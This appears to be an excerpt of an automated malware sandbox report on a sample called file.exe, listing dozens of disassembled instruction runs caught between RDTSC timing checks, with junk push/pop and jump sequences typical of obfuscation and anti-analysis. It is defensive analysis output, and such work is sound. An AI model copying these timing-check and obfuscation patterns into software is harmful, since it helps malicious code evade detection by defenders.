Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A46B9 second address: 9A46BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4845 second address: 9A4874 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FDEE5138E52h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A49DD second address: 9A49E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A49E6 second address: 9A49EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5394 second address: 9A5399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5399 second address: 9A539E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A539E second address: 9A53E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007FDEE4BB4C16h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007FDEE4BB4C1Fh 0x0000001c jmp 00007FDEE4BB4C19h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5551 second address: 9A5569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDEE5138E4Bh 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9542EB second address: 9542F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A43B7 second address: 9A43D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FDEE5138E46h 0x0000000b jmp 00007FDEE5138E4Ah 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A43D3 second address: 9A43E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEE4BB4C0Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A43E7 second address: 9A43F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB4EC second address: 9AB501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FDEE4BB4C1Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FDEE4BB4C06h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA3AF second address: 9AA3CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDEE5138E50h 0x00000008 jns 00007FDEE5138E46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974A75 second address: 974A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974D15 second address: 974D20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FDEE5138E46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974D20 second address: 974D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 js 00007FDEE4BB4C11h 0x0000000f jmp 00007FDEE4BB4C0Bh 0x00000014 pop ebx 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974D45 second address: 974D4B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974D4B second address: 974D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974D50 second address: 974D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FDEE5138E4Bh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007FDEE5138E46h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974D74 second address: 974D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974D78 second address: 974D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974F9E second address: 974FA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975304 second address: 97530E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDEE5138E46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9754C2 second address: 9754C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9754C8 second address: 9754CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97562A second address: 975658 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jl 00007FDEE4BB4C0Ah 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDEE4BB4C16h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975748 second address: 97579F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 and ch, 00000059h 0x0000000b lea eax, dword ptr [ebp+1247620Eh] 0x00000011 nop 0x00000012 jmp 00007FDEE5138E59h 0x00000017 push eax 0x00000018 jp 00007FDEE5138E52h 0x0000001e nop 0x0000001f lea eax, dword ptr [ebp+124761CAh] 0x00000025 mov cl, dl 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FDEE5138E4Dh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97579F second address: 9542EB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDEE4BB4C1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dh, bh 0x0000000f call dword ptr [ebp+122D2E2Ah] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAC7D second address: 9AAC81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAC81 second address: 9AACA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDEE4BB4C06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDEE4BB4C14h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAF70 second address: 9AAF74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAF74 second address: 9AAF78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB0D2 second address: 9AB0D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB0D8 second address: 9AB0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB0DC second address: 9AB119 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E58h 0x00000007 jmp 00007FDEE5138E57h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FDEE5138E46h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB119 second address: 9AB11D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB11D second address: 9AB121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930F40 second address: 930F59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930F59 second address: 930F5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930F5D second address: 930F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B7519 second address: 9B7520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6F4F second address: 9B6F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6F53 second address: 9B6F62 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDEE5138E46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6F62 second address: 9B6F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDEE4BB4C0Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B70F2 second address: 9B70F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B70F6 second address: 9B70FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B7252 second address: 9B725A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B725A second address: 9B7264 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDEE4BB4C06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B95A5 second address: 9B95C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FDEE5138E4Fh 0x0000000b jg 00007FDEE5138E46h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE825 second address: 9BE829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BECA7 second address: 9BECF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDEE5138E4Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jne 00007FDEE5138E46h 0x00000012 jmp 00007FDEE5138E4Bh 0x00000017 jmp 00007FDEE5138E4Fh 0x0000001c popad 0x0000001d jnp 00007FDEE5138E4Eh 0x00000023 popad 0x00000024 je 00007FDEE5138E67h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BECF6 second address: 9BECFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEE61 second address: 9BEE72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDEE5138E46h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEE72 second address: 9BEE76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF1AA second address: 9BF1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF1AE second address: 9BF1C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007FDEE4BB4C06h 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007FDEE4BB4C06h 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C396A second address: 9C3972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3972 second address: 9C3976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3976 second address: 9C397A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3B04 second address: 9C3B08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3B08 second address: 9C3B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FDEE5138E54h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3B25 second address: 9C3B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3B2A second address: 9C3B41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E4Dh 0x00000007 ja 00007FDEE5138E52h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3F97 second address: 9C3F9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975133 second address: 975147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007FDEE5138E46h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975147 second address: 97514B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97514B second address: 97519D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 mov edx, dword ptr [ebp+122D2B2Bh] 0x0000000e mov ebx, dword ptr [ebp+12476209h] 0x00000014 jp 00007FDEE5138E4Bh 0x0000001a adc dx, A3BBh 0x0000001f add eax, ebx 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007FDEE5138E48h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b nop 0x0000003c pushad 0x0000003d pushad 0x0000003e jng 00007FDEE5138E46h 0x00000044 pushad 0x00000045 popad 0x00000046 popad 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97519D second address: 9751A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9751A1 second address: 975202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FDEE5138E55h 0x0000000d nop 0x0000000e jns 00007FDEE5138E49h 0x00000014 push 00000004h 0x00000016 jnc 00007FDEE5138E4Ch 0x0000001c jmp 00007FDEE5138E4Dh 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jmp 00007FDEE5138E4Ah 0x0000002a jmp 00007FDEE5138E50h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7EB4 second address: 9C7EBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7EBC second address: 9C7EFB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDEE5138E48h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FDEE5138E4Eh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jl 00007FDEE5138E46h 0x0000001a jmp 00007FDEE5138E55h 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7EFB second address: 9C7F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7F01 second address: 9C7F09 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7F09 second address: 9C7F21 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDEE4BB4C12h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7F21 second address: 9C7F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C75FB second address: 9C75FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7BBC second address: 9C7BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7BC0 second address: 9C7BD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C0Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFEFC second address: 9CFF00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE009 second address: 9CE02A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDEE4BB4C1Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE02A second address: 9CE030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE17C second address: 9CE188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FDEE4BB4C06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE188 second address: 9CE18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE59A second address: 9CE5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE5A3 second address: 9CE5A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE5A7 second address: 9CE5AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF377 second address: 9CF37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF652 second address: 9CF65C instructions: 0x00000000 rdtsc 0x00000002 je 00007FDEE4BB4C06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF65C second address: 9CF66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF66E second address: 9CF674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFC4F second address: 9CFC53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D493E second address: 9D494E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007FDEE4BB4C06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D494E second address: 9D4959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDEE5138E46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4959 second address: 9D4980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C16h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDEE4BB4C0Bh 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4980 second address: 9D4984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4984 second address: 9D4995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FDEE4BB4C06h 0x00000011 rdtsc
